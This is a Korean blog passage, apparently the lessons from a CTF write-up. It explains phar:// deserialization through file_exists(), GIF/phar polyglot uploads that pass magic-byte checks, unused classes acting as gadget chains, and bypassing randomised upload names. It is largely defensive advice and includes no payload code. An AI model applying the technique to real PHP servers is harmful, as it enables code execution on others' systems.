phar:// 가 닿는 함수는 전부 unserialize() 다. 이 문제의 index.php 에는 unserialize 라는 글자가 없다. 있는 건 업로드된 파일이 존재하는지 확인하는 file_exists() 한 줄뿐인데, 경로 앞에 phar:// 가 붙는 순간 그게 역직렬화 호출이 된다. 코드 리뷰에서 unserialize 만 찾으면 이런 경로는 통째로 빠진다. 사용자 입력이 경로로 흘러드는 지점에서는 스킴을 함께 봐야 한다. PHP 8.0 이상에서는 phar 메타데이터 역직렬화에 제동이 걸렸지만, 이 서버처럼 7.x 를 쓰는 곳은 아직 많다.
매직 바이트 검사는 "이 파일이 무엇인지"를 알려주지 않는다. mime_content_type() 이 보는 건 앞 네 글자였다. GIF 인 동시에 phar 인 파일은 얼마든지 만들 수 있고, file 명령도 속는다. 업로드 검증은 확장자와 매직이 아니라 재인코딩으로 해야 한다 — GIF 를 받았으면 이미지 라이브러리로 디코딩해 다시 써서 저장하면 뒤에 붙은 아카이브는 자연히 사라진다. 같은 이유로 업로드 파일은 웹 루트 밖에 두고 별도 핸들러로 서빙하는 쪽이 안전하다.
쓰지 않는 코드도 공격 표면이다. supermarket.php 의 Supermarket 클래스는 어디서도 호출되지 않는다. 그런데 require 로 로드만 돼 있으면 역직렬화 가젯으로는 충분하다. 실제 서비스에서도 레거시 라이브러리나 쓰지 않는 의존성이 소멸자 하나 때문에 체인의 시작점이 되는 일이 흔하다. autoload 범위에 들어 있는 모든 클래스의 __destruct·__wakeup·__toString 이 공격자가 고를 수 있는 선택지다.
난수 파일명은 업로드 취약점을 막지 못한다. 출제자는 bin2hex(random_bytes(16)) 로 저장 경로를 가렸고, 덕분에 "웹셸 올리고 나중에 호출" 경로는 실제로 닫혔다. 하지만 같은 요청 안에서 그 경로를 쓰는 코드가 한 줄 남아 있었다. 파일명을 못 맞혀도 서버가 대신 열어 주면 그만이다. 업로드 후 저장 경로에 바로 무언가를 하는 코드가 있다면, 그 한 줄이 파일명 무작위화를 통째로 우회한다.
실패 메시지를 뭉개면 공격자보다 운영자가 더 손해다. 확장자 불일치와 매직 불일치가 같은 문구를 내보내는 바람에, 나도 어느 문에서 막혔는지 알아내려고 조건을 하나씩 분리한 요청을 여덟 개 만들어야 했다. 공격자는 그렇게 해서라도 알아내지만, 로그만 보는 운영자는 "gif 가 아니라서 막혔다"는 줄만 쌓인다. 거부 사유는 사용자에게는 뭉뚱그리더라도 서버 로그에는 분리해 남기는 게 맞다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…